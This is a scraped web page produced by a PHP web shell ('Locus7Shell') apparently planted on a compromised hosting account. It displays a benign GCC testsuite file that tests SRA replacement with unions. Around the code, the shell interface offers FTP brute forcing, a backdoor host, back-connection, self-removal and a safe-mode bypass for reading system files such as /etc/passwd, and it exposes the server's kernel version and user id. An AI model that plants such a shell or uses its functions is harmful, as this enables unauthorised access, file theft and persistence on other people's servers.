Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/tree-ssa/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     sra-13.c (1.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Test that SRA replacement can deal with assignments that have
   sub-replacements on one side and a single scalar replacement on another.  */
/* { dg-do run } */
/* { dg-options "-O1" } */

struct A
{
  int i1, i2;
};

struct B
{
  long long int l;
};

union U
{
  struct A a;
  struct B b;
};

int b, gi;
long gl;
union U gu1, gu2;

int __attribute__ ((noinline, noclone))
foo (void)
{
  union U x, y;
  int r;

  y = gu1;
  if (b)
    y.b.l = gl;

  x = y;

  if (!b)
    r = x.a.i1;
  else
    r = 0;

  gu2 = x;
  return r;
}

long long int __attribute__ ((noinline, noclone))
bar (void)
{
  union U x, y;
  int r;

  y = gu1;
  if (b)
    y.a.i1 = gi;

  x = y;

  if (!b)
    r = x.b.l;
  else
    r = 0;

  gu2 = x;
  return r;
}


int
main (void)
{
  int r;
  long long int s;

  b = 0;
  gu1.a.i1 = 123;
  gu1.a.i2 = 234;
  r = foo ();
  if (r != 123)
    __builtin_abort ();
  if (gu2.a.i1 != 123)
    __builtin_abort ();
  if (gu2.a.i2 != 234)
    __builtin_abort ();

  b = 1;
  gl = 10000001;
  gu1.b.l = 10000000;
  r = foo ();
  if (r != 0)
    __builtin_abort ();
  if (gu2.b.l != 10000001)
    __builtin_abort ();

  b = 0;
  gu1.b.l = 20000000;
  s = bar ();
  if (s != (int)20000000)
    __builtin_abort ();
  if (gu2.b.l != 20000000)
    __builtin_abort ();

  b = 1;
  gi = 456;
  gu1.a.i1 = 123;
  gu1.a.i2 = 234;
  s = bar ();
  if (s != 0)
    __builtin_abort ();
  if (gu2.a.i1 != 456)
    __builtin_abort ();

  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--